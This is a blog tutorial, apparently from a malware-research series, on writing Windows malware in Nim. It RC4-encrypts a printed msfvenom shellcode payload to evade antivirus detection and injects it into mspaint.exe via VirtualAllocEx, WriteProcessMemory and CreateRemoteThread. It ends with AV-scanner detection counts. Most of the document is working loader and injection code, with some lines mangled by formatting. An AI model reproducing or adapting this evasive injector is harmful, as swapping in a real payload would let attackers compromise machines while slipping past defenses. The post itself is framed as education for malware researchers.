﷽

Hello, cybersecurity enthusiasts and white hackers!

Many of my readers ask whether it is possible to write malware in a language other than C/C++/ASM.

When malware is found to be written in new programming languages, AV detections are often failing since the new language produces bytecode sequences that are relatively unknown, combined with strings of data that can throw off static-based heuristic models.

As an experiment, I decided to show how to write a simple malware example using *Nim* lang. The reason for this choice is the ease of the language and its flexibility for use in bypassing AV/EDR solutions.

For installation and intro you can read official documentation.

In one of my previous posts I used RC4 algorithm to encrypt the payload. Let’s create the same logic for Nim malware.

### practical example 1

First of all, create RC4 algorithm logic. This is a simple algorithm and the code for its implementation in C++ looks like this:

`// swap void swap(unsigned char *a, unsigned char *b) { unsigned char tmp; tmp = *a; *a = *b; *b = tmp; }`

// key-scheduling algorithm (KSA)

void KSA(unsigned char *s, unsigned char *key, int keyL) {

int k;

int x, y = 0;// initialize

for (k = 0; k < 256; k++) {

s[k] = k;

}for (x = 0; x < 256; x++) {

y = (y + s + key[x % keyL]) % 256;

swap(&s, &s[y]);

}

return;

}// pseudo-random generation algorithm (PRGA)

unsigned char* PRGA(unsigned char* s, unsigned int messageL) {

int i = 0, j = 0;

int k;unsigned char* keystream;

keystream = (unsigned char *)malloc(sizeof(unsigned char)*messageL);

for(k = 0; k < messageL; k++) {

i = (i + 1) % 256;

j = (j + s[i]) % 256;

swap(&s[i], &s[j]);

keystream[k] = s[(s[i] + s[j]) % 256];

}

return keystream;

}// encryption and decryption

unsigned char* RC4(unsigned charplaintext, unsigned charciphertext, unsigned char* key, unsigned int keyL, unsigned int messageL) {

int i;

unsigned char s[256];

unsigned char* keystream;

KSA(s, key, keyL);

keystream = PRGA(s, messageL);

`for (i = 0; i < messageL; i++) {`

ciphertext[i] = plaintext[i] ^ keystream[i];

}

return ciphertext;

}

So, on Nim lang this logic looks like this:

`import strutils import sequtils import system`

proc swap(a: var byte, b: var byte) =

let tmp = a

a = b

b = tmpproc KSA(s: var seq[byte], key: seq[byte]) =

let keyL = len(key)

var y = 0## initialize

for k in 0 …< 256:

s[k] = byte(k)for x in 0 …< 256:

y = (y + int(s) + int(key[x mod keyL])) mod 256

swap(s, s[y.byte])proc PRGA(s: var seq[byte], messageL: int): seq[byte] =

var i = 0

var j = 0

result = newSeqbytefor k in 0 …< messageL:

i = (i + 1) mod 256

j = (j + int(s[i])) mod 256

swap(s[i], s[j.byte])

result[k] = s[(int(s[i]) + int(s[j])) mod 256]proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =

let messageL = len(plaintext)

var s = newSeqbyte

KSA(s, key)

let keystream = PRGA(s, messageL)

`result = newSeqbyte`

for i in 0 …< messageL:

result[i] = plaintext[i] xor keystream[i]

For checking corectness, add printing hex bytes of payload logic:

`when isMainModule: let plaintext: seq[byte] = @[// payload here] let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]`

let ciphertext = RC4(plaintext, key)

var enchex: seq[string]

for b in ciphertext:

enchex.add(“0x” & $toHex(b, 2))

echo “payload encrypted:\n”, enchex.join(", ")

`let decrypted = RC4(ciphertext, key)`

var decrhex: seq[string]

for b in decrypted:

decrhex.add(“0x” & $toHex(b, 2))

echo “original payload:\n”, decrhex.join(", ")

How we can generate payload for nim language?

For this we can use `msfvenom`

:

```
msfvenom -p windows/x64/messagebox TEXT='meow-meow!' TITLE='cat' -f csharp
```

In our case little bit modify this brackets and variable:

```
let plaintext: seq[byte] = @[
byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,
0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,
0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,
0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,
0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,
0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,
0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,
0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,
0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,
0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x09,0x01,0x00,0x00,0x48,
0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,
0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6d,0x65,0x6f,
0x77,0x2d,0x6d,0x65,0x6f,0x77,0x21,0x00,0x63,0x61,0x74,0x00
]
```

So the final full source code is look like this `hack.nim`

:

`import strutils import sequtils import system`

proc swap(a: var byte, b: var byte) =

let tmp = a

a = b

b = tmpproc KSA(s: var seq[byte], key: seq[byte]) =

let keyL = len(key)

var y = 0## initialize

for k in 0 …< 256:

s[k] = byte(k)for x in 0 …< 256:

y = (y + int(s) + int(key[x mod keyL])) mod 256

swap(s, s[y.byte])proc PRGA(s: var seq[byte], messageL: int): seq[byte] =

var i = 0

var j = 0

result = newSeqbytefor k in 0 …< messageL:

i = (i + 1) mod 256

j = (j + int(s[i])) mod 256

swap(s[i], s[j.byte])

result[k] = s[(int(s[i]) + int(s[j])) mod 256]proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =

let messageL = len(plaintext)

var s = newSeqbyte

KSA(s, key)

let keystream = PRGA(s, messageL)result = newSeqbyte

for i in 0 …< messageL:

result[i] = plaintext[i] xor keystream[i]when isMainModule:

let plaintext: seq[byte] = @[

byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,

0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,

0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,

0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,

0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,

0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,

0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,

0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,

0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,

0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,

0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,

0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,

0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,

0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,

0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,

0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,

0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,

0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,

0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,

0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,

0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x09,0x01,0x00,0x00,0x48,

0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,

0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6d,0x65,0x6f,

0x77,0x2d,0x6d,0x65,0x6f,0x77,0x21,0x00,0x63,0x61,0x74,0x00

]

let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]let ciphertext = RC4(plaintext, key)

var enchex: seq[string]

for b in ciphertext:

enchex.add(“0x” & $toHex(b, 2))

echo “payload encrypted:\n”, enchex.join(", ")

`let decrypted = RC4(ciphertext, key)`

var decrhex: seq[string]

for b in decrypted:

decrhex.add(“0x” & $toHex(b, 2))

echo “original payload:\n”, decrhex.join(", ")

### demo 1

Let’s check it in action. Compile it:

```
nim c -d:mingw --cpu:amd64 hack.nim
```

Then, just move it to the victim’s machine (Windows 11 in my case) and run:

```
.\hack.exe
```

For checking correctness of RC4 encryption/decryption you also can use simple C code.

### practical example 2

Let’s update our code from example 1: add simple process injection logic.

For process injection, let’s create process first:

`import osproc import winim`

`let process = startProcess(“mspaint.exe”)`

echo "started process: ", process.processID

Then, add process injection logic via `VirtualAllocEx`

, `WriteProcessMemory`

and `CreateRemoteThread`

:

`let ph = winim.OpenProcess( PROCESS_ALL_ACCESS, false, cast[DWORD](process.processID) )`

`when isMainModule:`

let mem = VirtualAllocEx(

ph,

NULL,

castSIZE_T,

MEM_COMMIT,

PAGE_EXECUTE_READ_WRITE

)

var btw: SIZE_T

let wp = WriteProcessMemory(

ph,

mem,

unsafeAddr payload[0],

castSIZE_T,

addr btw

)

echo "writeprocessmemory: ", bool(wp)

let th = CreateRemoteThread(

ph,

NULL,

0,

castLPTHREAD_START_ROUTINE,

NULL,

0,

NULL

)

echo "successfully inject to process: ", process.processID

echo "thread Handle: ", th

The only difference, we are using encrypted payload from example 1:

```
let plaintext: seq[byte] = @[
byte 0x61, 0x03, 0xDF, 0x4C, 0xE0, 0x8E, 0xFF, 0x5F, 0xB2, 0x7F, 0x28, 0x22, 0xE9,
0x3B, 0x1A, 0x09, 0xB6, 0x66, 0x78, 0xCD, 0xAD, 0x67, 0xE1, 0x18, 0x82, 0x91,
0x83, 0x1C, 0xE9, 0x9D, 0x09, 0x80, 0xFB, 0x0F, 0xD7, 0x3A, 0x06, 0xB2, 0xF2,
0x6B, 0x0C, 0xA4, 0x93, 0x29, 0xBE, 0x3D, 0x73, 0x78, 0xEE, 0xD5, 0x6B, 0xB7,
0xB5, 0x5B, 0x98, 0xF0, 0x8E, 0x61, 0xD3, 0x3F, 0x2B, 0xEB, 0x06, 0xA2, 0x9B,
0xE5, 0xDA, 0xED, 0x0C, 0xF1, 0xF4, 0x64, 0x82, 0x8B, 0x96, 0xD0, 0x71, 0x9A,
0xCB, 0x59, 0x41, 0x7C, 0x52, 0x06, 0x4D, 0xC7, 0x00, 0xEC, 0x80, 0xDD, 0xDF,
0x37, 0x4D, 0x3C, 0x25, 0x82, 0xB4, 0x37, 0xE6, 0x25, 0x75, 0xDC, 0xBE, 0xF0,
0x1E, 0xD1, 0x1A, 0xDE, 0x2D, 0xB8, 0xA2, 0xA1, 0x6B, 0x7D, 0x0F, 0xC0, 0xC0,
0x66, 0x4A, 0x9E, 0x9A, 0x9A, 0x93, 0x6B, 0xA4, 0x63, 0x51, 0xA0, 0x91, 0xB0,
0x99, 0x21, 0xDC, 0xDB, 0x41, 0xF7, 0xCC, 0xB8, 0xD5, 0x4B, 0xFF, 0xA2, 0x58,
0xA8, 0xEF, 0xE3, 0x90, 0x50, 0x3C, 0x03, 0x30, 0x42, 0x3C, 0x1B, 0x5F, 0x9C,
0x8F, 0xF2, 0xC7, 0x19, 0xA5, 0x07, 0x3E, 0x1C, 0x70, 0x6E, 0x80, 0xDA, 0x23,
0x37, 0x51, 0x98, 0x7D, 0xBE, 0x55, 0xF9, 0x56, 0x52, 0x0E, 0x48, 0x40, 0x2D,
0x9A, 0xD3, 0x0F, 0xB8, 0x92, 0x62, 0xE7, 0x5C, 0x0A, 0x2E, 0xFE, 0xF8, 0x96,
0x8E, 0x10, 0x6A, 0x04, 0x0B, 0xDD, 0x24, 0xCB, 0x18, 0x20, 0x9E, 0x23, 0x9A,
0x57, 0xC1, 0x38, 0xC0, 0xD7, 0x0A, 0x57, 0x3E, 0x80, 0x75, 0x9B, 0x79, 0x59,
0xB6, 0x31, 0xE4, 0x3E, 0xBA, 0xBB, 0x1E, 0x91, 0xC5, 0x10, 0xA0, 0x63, 0x6B,
0x99, 0x9F, 0x61, 0x6C, 0xB5, 0x1A, 0x09, 0x61, 0xFD, 0x21, 0xCC, 0x64, 0xC4,
0x9C, 0xCA, 0x15, 0xA1, 0x3B, 0x62, 0x44, 0x5B, 0x34, 0xDC, 0x06, 0xEB, 0x8F,
0xB1, 0x50, 0x7B, 0x1C, 0x77, 0xC7, 0x8B, 0x24, 0x34, 0x5E, 0xC4, 0x02, 0x00,
0x3F, 0x1D, 0x05, 0x2E, 0x18, 0xC5, 0xEA, 0x6D, 0x6F
]
let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]
let payload = RC4(plaintext, key)
```

As you can see, we are decrypt it via `RC4`

.

The final full source code for example 2 is looks like this (`hack2.nim`

):

`import strutils import sequtils import system import osproc import winim`

proc swap(a: var byte, b: var byte) =

let tmp = a

a = b

b = tmpproc KSA(s: var seq[byte], key: seq[byte]) =

let keyL = len(key)

var y = 0## initialize

for k in 0 …< 256:

s[k] = byte(k)for x in 0 …< 256:

y = (y + int(s) + int(key[x mod keyL])) mod 256

swap(s, s[y.byte])proc PRGA(s: var seq[byte], messageL: int): seq[byte] =

var i = 0

var j = 0

result = newSeqbytefor k in 0 …< messageL:

i = (i + 1) mod 256

j = (j + int(s[i])) mod 256

swap(s[i], s[j.byte])

result[k] = s[(int(s[i]) + int(s[j])) mod 256]proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =

let messageL = len(plaintext)

var s = newSeqbyte

KSA(s, key)

let keystream = PRGA(s, messageL)result = newSeqbyte

for i in 0 …< messageL:

result[i] = plaintext[i] xor keystream[i]when isMainModule:

let plaintext: seq[byte] = @[

byte 0x61, 0x03, 0xDF, 0x4C, 0xE0, 0x8E, 0xFF, 0x5F, 0xB2, 0x7F, 0x28, 0x22, 0xE9,

0x3B, 0x1A, 0x09, 0xB6, 0x66, 0x78, 0xCD, 0xAD, 0x67, 0xE1, 0x18, 0x82, 0x91,

0x83, 0x1C, 0xE9, 0x9D, 0x09, 0x80, 0xFB, 0x0F, 0xD7, 0x3A, 0x06, 0xB2, 0xF2,

0x6B, 0x0C, 0xA4, 0x93, 0x29, 0xBE, 0x3D, 0x73, 0x78, 0xEE, 0xD5, 0x6B, 0xB7,

0xB5, 0x5B, 0x98, 0xF0, 0x8E, 0x61, 0xD3, 0x3F, 0x2B, 0xEB, 0x06, 0xA2, 0x9B,

0xE5, 0xDA, 0xED, 0x0C, 0xF1, 0xF4, 0x64, 0x82, 0x8B, 0x96, 0xD0, 0x71, 0x9A,

0xCB, 0x59, 0x41, 0x7C, 0x52, 0x06, 0x4D, 0xC7, 0x00, 0xEC, 0x80, 0xDD, 0xDF,

0x37, 0x4D, 0x3C, 0x25, 0x82, 0xB4, 0x37, 0xE6, 0x25, 0x75, 0xDC, 0xBE, 0xF0,

0x1E, 0xD1, 0x1A, 0xDE, 0x2D, 0xB8, 0xA2, 0xA1, 0x6B, 0x7D, 0x0F, 0xC0, 0xC0,

0x66, 0x4A, 0x9E, 0x9A, 0x9A, 0x93, 0x6B, 0xA4, 0x63, 0x51, 0xA0, 0x91, 0xB0,

0x99, 0x21, 0xDC, 0xDB, 0x41, 0xF7, 0xCC, 0xB8, 0xD5, 0x4B, 0xFF, 0xA2, 0x58,

0xA8, 0xEF, 0xE3, 0x90, 0x50, 0x3C, 0x03, 0x30, 0x42, 0x3C, 0x1B, 0x5F, 0x9C,

0x8F, 0xF2, 0xC7, 0x19, 0xA5, 0x07, 0x3E, 0x1C, 0x70, 0x6E, 0x80, 0xDA, 0x23,

0x37, 0x51, 0x98, 0x7D, 0xBE, 0x55, 0xF9, 0x56, 0x52, 0x0E, 0x48, 0x40, 0x2D,

0x9A, 0xD3, 0x0F, 0xB8, 0x92, 0x62, 0xE7, 0x5C, 0x0A, 0x2E, 0xFE, 0xF8, 0x96,

0x8E, 0x10, 0x6A, 0x04, 0x0B, 0xDD, 0x24, 0xCB, 0x18, 0x20, 0x9E, 0x23, 0x9A,

0x57, 0xC1, 0x38, 0xC0, 0xD7, 0x0A, 0x57, 0x3E, 0x80, 0x75, 0x9B, 0x79, 0x59,

0xB6, 0x31, 0xE4, 0x3E, 0xBA, 0xBB, 0x1E, 0x91, 0xC5, 0x10, 0xA0, 0x63, 0x6B,

0x99, 0x9F, 0x61, 0x6C, 0xB5, 0x1A, 0x09, 0x61, 0xFD, 0x21, 0xCC, 0x64, 0xC4,

0x9C, 0xCA, 0x15, 0xA1, 0x3B, 0x62, 0x44, 0x5B, 0x34, 0xDC, 0x06, 0xEB, 0x8F,

0xB1, 0x50, 0x7B, 0x1C, 0x77, 0xC7, 0x8B, 0x24, 0x34, 0x5E, 0xC4, 0x02, 0x00,

0x3F, 0x1D, 0x05, 0x2E, 0x18, 0xC5, 0xEA, 0x6D, 0x6F

]

let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]let payload = RC4(plaintext, key)

let process = startProcess(“mspaint.exe”)

echo "started process: ", process.processIDlet ph = winim.OpenProcess(

PROCESS_ALL_ACCESS,

false,

castDWORD

)

`when isMainModule:`

let mem = VirtualAllocEx(

ph,

NULL,

castSIZE_T,

MEM_COMMIT,

PAGE_EXECUTE_READ_WRITE

)

var btw: SIZE_T

let wp = WriteProcessMemory(

ph,

mem,

unsafeAddr payload[0],

castSIZE_T,

addr btw

)

echo "writeprocessmemory: ", bool(wp)

let th = CreateRemoteThread(

ph,

NULL,

0,

castLPTHREAD_START_ROUTINE,

NULL,

0,

NULL

)

echo "successfully inject to process: ", process.processID

echo "thread Handle: ", th

### demo 2

Compile practical example 2:

```
nim c -d:mingw --cpu:amd64 hack2.nim
```

And run new file on Windows 11:

```
.\hack2.exe
```

To verify our payload is indeed injected into `mspaint.exe`

process we can use Process Hacker 2, in memory section we can see:

So, it seems our simple injection logic worked!

Upload this sample to https://websec.nl/en/scanner:

https://websec.nl/en/scanner/result/b1497b7b-af49-48f7-870e-2d612ecd1ad3

As you can see, **4 of 40 AV engines detect our file as malicious.**

Note that Microsoft Defender detect it as `VirTool:Win32/Meterpreter`

:

I hope this post is useful for malware researchers, C/C++ programmers and offensive security professionals.

RC4

Malware AV/VM evasion part 9

https://websec.nl/en/scanner

source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

*PS. All drawings and screenshots are mine*

Article Link: Malware and cryptography 28: RC4 payload encryption. Simple Nim example. - cocomelonc